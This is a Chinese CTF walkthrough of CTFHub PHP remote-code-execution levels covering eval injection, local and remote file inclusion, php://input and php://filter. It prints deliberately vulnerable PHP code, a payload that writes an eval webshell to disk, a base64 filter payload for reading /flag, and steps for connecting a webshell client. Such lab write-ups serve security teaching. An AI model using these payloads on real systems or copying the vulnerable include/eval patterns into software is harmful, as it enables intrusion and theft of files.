CTFHUB——RCE之eval执行和文件包含漏洞

CTFHUB——RCE之eval执行和文件包含漏洞

eval执行

本关代码如图所示
在这里插入图片描述

 <?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?> 

代码解释为如果存在cmd参数,那就用eval函数执行cmd参数中的代码,所以本关存在命令执行。
通过ls命令查看当前目录文件,只有一个index.php文件
在这里插入图片描述
所以通过ls /命令查看所有目录
在这里插入图片描述
成功发现flag文件,通过cat命令进行查看
在这里插入图片描述

文件包含

在学习本关时,如果对文件包含漏洞不是很了解,可以查看我的这篇文章,里面详细讲解了文件包含漏洞。
文件包含漏洞全面详解
进入本关后代码如图所示。
在这里插入图片描述

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?

这里有一个strpos(string,find,start)函数
意思在string字符串中找find的位置,start是查找的开始位置
那么这句代码的意思就是如果file中没有flag字符串就执行下面的include $_GET[“file”]
否则就输出Hacker。

通过下方的英文得知,本关存在一个shell.txt,点击蓝色的shell,就会跳转到shell.txt界面
在这里插入图片描述
发现里面写的是常见的一句话木马文件,因为这里存在include函数,所以这里我们有两种获取flag的方法。

方法1:直接通过post发包进行命令执行
将ctfhub传的参数用php执行

在这里插入图片描述
成功获取当前目录
接下来步骤就和上一关一样,只不过将命令通过post传参进行命令执行。

查看当前所有目录,发现flag文件
在这里插入图片描述
通过cat命令查看flag文件
在这里插入图片描述
方法2:通过webshell工具直接连接shell.txt文件
这里我通过蚁剑直接连接shell.txt文件
在这里插入图片描述
注意:连接前记得把本地代理关闭,要不可能无法正常连接。
添加后改成进入后台。
在这里插入图片描述
右键打开终端命令
在这里插入图片描述
进入终端后,输入命令和之前命令一样,成功获取flag
在这里插入图片描述

php://input

进入本关后代码如图所示
在这里插入图片描述

<?php
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>

代码意思为:通过使用substr函数对file参数的前5个字符进行判断,如果等于php://才会执行include函数。

所以本关要求我们使用伪协议,我们可以通过伪协议php://input进行执行php代码。还是有两种方法可以获取flag。

方法1:直接在浏览器上通过post参数进行命令执行。
查询当前目录
在这里插入图片描述
查询所有目录,发现flag文件
在这里插入图片描述
通过cat命令获取flag
在这里插入图片描述
方法2:可以通过php://input伪协议写入一句话木马,然后通过蚁剑连接获取flag。
写入代码如下,建议用burpsuit抓包通过repeater模块进行写入,这样可以更直观的知道一句话木马是否写入成功。

<?php fwrite(fopen("shell.php","w"),'<?php eval($_POST[123]);?>');?>

在这里插入图片描述
通过蚁剑进行连接
在这里插入图片描述
连接成功后,其余步骤与上一关相同。进入终端输入命令查询flag。
在这里插入图片描述
在这里插入图片描述

远程包含

进入本关后代码如下
在这里插入图片描述

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a>

代码解释:本关代码和第一关文件包含一样,通过strpos函数判断参数是否存在flag字符,存在就执行include函数。因为本关没有限制php://input伪协议,所以本关解法和上一关一样,这里就不再赘述了。

flag如下
在这里插入图片描述

读取源代码

本关代码如下:
在这里插入图片描述

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>

代码解释:本关代码和之前php://input关卡一样,通过substr函数来判断file参数是否等于php://,如果等于就执行include函数。

本关题目为读取源代码,所以本关我们需要使用php伪协议中的filter读取源代码。
payload为:

php://filter/convert.base64-encode/resource=/flag

成功获取到flag的base64编码
在这里插入图片描述
解码后成功获取flag
在这里插入图片描述

当然本关没有什么限制,如果直接读取的话也是可以成功读取出flag的。
在这里插入图片描述

  • 2
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值